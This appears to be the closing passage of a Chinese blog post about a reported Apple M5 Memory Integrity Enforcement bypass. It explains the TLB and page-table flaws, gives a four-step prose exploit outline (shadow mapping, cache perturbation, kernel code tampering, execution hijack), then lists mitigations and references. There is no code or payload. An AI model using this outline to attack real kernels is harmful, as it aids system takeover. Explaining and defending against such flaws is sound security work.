在某些复杂的内存映射场景下 例如当一个物理页被同时映射为“受保护的内核数据页”和“高性能 I/O 缓冲区”时 M5 芯片的硬件逻辑为了优化性能 会尝试合并这些页表的属性.Mythos AI 通过对 M5 芯片微架构的深度分析 发现通过精心构造的页表条目 可以诱导硬件进入一种非一致性状态

  1. TLB 缓存污染:攻击者可以利用某些特定的内存访问模式 使得 TLB 中缓存了关于某个物理页的旧的或不正确的标签信息.当该物理页被重新映射或其属性发生变化时 TLB 未能及时更新其缓存条目.
  2. 页表属性合并的副作用:当同一个物理页被映射到具有不同安全属性(例如 一个映射要求 MIE 校验 另一个映射则不要求)的多个虚拟地址时 M5 芯片的页表属性合并逻辑在处理这种冲突时存在缺陷.在某些情况下 它可能会错误地选择一个较弱的安全属性 或者在属性合并过程中产生一个临时的、不一致的状态.
  3. 时序竞态:这种非一致性状态与 CPU 的流水线执行和缓存一致性协议结合 产生了一个微架构层面的时序竞态.在特定的时钟周期内 当 CPU 尝试校验内存访问的标签时 硬件校验逻辑会错误地引用旧的、已失效的标签缓存 或者在特定周期的流水线执行中 直接跳过标签校验.这使得攻击者可以在未持有正确标签的情况下 短暂地修改受 MIE 保护的内核内存.

这个缺陷的发现 揭示了即使是经过严格设计的硬件 也可能在复杂的微架构交互中产生意想不到的安全漏洞.它表明 硬件级安全并非绝对 而是需要持续的验证和对抗.

4.3 利用手法#

由于 MIE 是硬件级的 传统的软件 Exploit 手法(如 ROP/JOP、堆喷射等)几乎完全失效.MIE 的设计目标就是让这些依赖于内存损坏的攻击变得不可能.因此 Calif 团队采用了一种全新的“微架构时序攻击”配合“逻辑混淆”的手法 这需要对 M5 芯片的底层工作原理有极其深刻的理解.

步骤一:构造一个重叠映射#

攻击者首先需要通过一个低级别的内核漏洞(例如 一个简单的驱动程序越界读取或信息泄露漏洞) 获取对内核页表的修改能力 并泄露关键的内核地址.攻击者并不直接修改内核代码 而是构造一个“影子映射”:将包含关键内核函数的物理内存页 重新映射到一个攻击者可控的、标记为“非 MIE 校验”的用户态地址空间.这个“影子映射”允许攻击者在用户态观察和修改内核内存 而不会立即触发 MIE 异常.

步骤二:诱发硬件竞争跟缓存污染#

这是利用中最硬核的部分.利用 Mythos AI 计算出的精确频率 攻击者启动大量的异步 I/O 操作(如高频的磁盘读写、网络数据包处理或 GPU 渲染请求).这些操作会不断刷新 L2 缓存和 TLB 使得硬件处于高度活跃和不稳定的状态.攻击者通过精确控制这些 I/O 操作的时序 旨在:

  1. TLB 缓存污染:强制 TLB 缓存旧的或不正确的页表条目.
  2. 缓存一致性协议扰动:在多核环境下 利用缓存一致性协议的延迟 使得不同 CPU 核心对同一内存区域的标签状态产生短暂的不一致.

步骤三:利用标签冲突(Tag Collision)实现内核内存篡改#

在硬件高负荷运行 且缓存和 TLB 处于不稳定状态的瞬间 攻击者通过“影子映射”地址修改内核代码.由于 M5 芯片在处理这种跨安全域的内存访问时 存在一个时钟周期的校验延迟 攻击者的修改指令在 MIE 硬件反应过来之前 就已经被写入了物理内存.

具体来说 攻击者会利用一个精心构造的内存访问序列:

  1. 通过“非 MIE 校验”的映射写入恶意代码到内核物理页.
  2. 在极短的时间内 通过“MIE 校验”的映射触发对该物理页的访问.

由于硬件在校验时序上的缺陷 它可能会错误地认为这次访问是合法的(因为标签缓存被污染或校验被跳过) 从而允许恶意写入成功.这种攻击手法对时序的精确性要求极高 需要对 M5 芯片的微架构有深入的理解和精确的控制.

步骤四:执行流劫持与系统接管#

一旦内核代码被篡改 攻击者只需触发正常的内核功能调用(例如 一个系统调用或一个中断处理程序) 系统就会执行攻击者注入的恶意代码.由于修改已经完成且 MIE 的静态校验被绕过 系统在后续执行中将不再产生异常.攻击者此时已经在内核态拥有了完全的控制权 可以禁用安全功能、安装 Rootkit、窃取数据 甚至完全接管系统.

4.4 防御措施#

由于该漏洞源于硬件逻辑 软件层面的修补极其困难 通常需要通过固件更新或微码更新来解决.这使得防御的响应周期更长 成本更高.

  1. Microcode Update

    • 苹果已发布紧急微码更新 通过修改 M5 芯片内部的逻辑 降低 TLB 属性合并的优化级别 并增强缓存一致性协议的严格性 以规避竞态窗口.这会导致约 3% - 5% 的系统性能损失 但能有效封堵该利用路径.微码更新是直接修复硬件缺陷的最有效方式.
  2. 禁用特定内核优化

    • 开发者可以通过设置启动参数 强制内核在处理敏感页表时不进行属性合并.虽然这会带来一定的性能开销 但在高安全要求的环境中 牺牲部分性能以换取更高的安全性是值得的.
  3. 增强代码签名校验与运行时完整性检查

    • 虽然内存被篡改 但如果配合更严格的运行时代码签名检查和内核完整性监控 可以在恶意代码执行前将其拦截.例如 定期校验内核代码段的哈希值 或者在关键函数被调用前进行完整性检查.
  4. 硬件级监控与侧信道防御

    • 未来 可能需要更先进的硬件级监控机制 能够实时检测微架构层面的异常行为 例如异常的 TLB 刷新模式或缓存访问模式.同时 需要研究针对微架构时序攻击的侧信道防御技术.

参考文献#

[1] Linux Kernel Archives. (2026). Explaining CVE-2026-46333: The ptrace Exit-Race.

[2] Eclypsium Research. (2026). Deep Dive into YellowKey: How WinRE Betrayed BitLocker.

[3] Microsoft Security Response Center. (2026). Mitigating the Defender Trilogy: BlueHammer & RedSun.

[4] Apple Security Engineering. (2025). Memory Integrity Enforcement: Hardware-level Safety.

[5] Calif.io Blog. (2026). The Five-Day Siege: How Mythos Bypassed M5 MIE.

[6] depthfirst.com. (2026). dfs-mini1: The Future of Autonomous Remediation.

[7] Chaotic Eclipse Official Statement. (2026, May). Regarding GitHub Account Suspension and Upcoming Disclosures.

[8] bilibili up 视频 https://www.bilibili.com/video/BV14jV46WEr2

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

不止 Linux!Windows/Mac 接连爆出高危漏洞:SSH密钥泄露、BitLocker 失效、杀软成黑客利器、Office远程任意命令执行
http://blog.mcstarland.top/posts/linmacwinbug/
作者
MEMZGBL
发布于
2026-05-30
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00